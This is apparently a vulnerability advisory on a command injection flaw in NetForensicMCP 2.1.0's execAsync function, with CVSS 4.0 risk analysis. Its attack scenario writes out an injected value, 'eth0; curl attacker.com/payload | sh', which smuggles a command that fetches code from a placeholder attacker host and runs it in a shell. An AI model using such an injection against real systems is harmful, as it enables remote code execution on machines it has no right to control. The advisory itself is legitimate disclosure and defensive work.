NetForensicMCP EUVD-2026-60325

Exploitation requires network-level access to a running NetForensicMCP 2.1.0 instance (AV:N per CVSS 4.0 vector) and a low level of authentication (PR:L), meaning the attacker must hold valid credentials or a session token sufficient to invoke the execAsync function - unauthenticated external attackers cannot directly exploit this flaw. No special non-default configuration beyond having the service running and accessible is required; the vulnerable code path is in the core execAsync function rather than an optional feature. Exploitation is limited by the authentication barrier (PR:L) and by the tool's typical deployment context: NetForensicMCP is a forensic utility unlikely to be exposed to broad, untrusted user populations, reducing the realistic attacker pool. The absence of user interaction (UI:N) and low attack complexity (AC:L) mean that once access is obtained, exploitation is straightforward.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P) scores 5.3 Medium. The E:P modifier explicitly acknowledges the publicly available proof-of-concept on GitHub, which materially lowers exploitation friction. The PR:L requirement means unauthenticated attackers are excluded, providing a meaningful limiting factor. Impact metrics are assessed as Low across confidentiality, integrity, and availability with no scope change to subsequent systems - though this may understate real-world risk if NetForensicMCP runs with elevated OS privileges, a common pattern for forensic tooling that often requires broad file-system access. The tool is not in CISA KEV, and no EPSS data was provided, so exploitation probability in the wild is unconfirmed. The vendor has not responded to the coordinated disclosure, leaving no patch available - this absence of response, combined with a live public exploit, represents the most significant risk amplifier. Overall, this is a genuine but bounded risk: real in any environment where the tool is deployed and reachable, but limited by the product's niche footprint.

An attacker with low-privilege authenticated access to a NetForensicMCP 2.1.0 instance crafts a request containing a manipulated interface or protocol value such as eth0; curl attacker.com/payload | sh and submits it to the affected endpoint. The execAsync function in index.js interpolates the unsanitized argument directly into an OS shell command, causing the injected payload to execute with the privileges of the NetForensicMCP process. A public proof-of-concept demonstrating this technique is available via GitHub issue #1, making reproduction straightforward for any attacker with low-privilege access.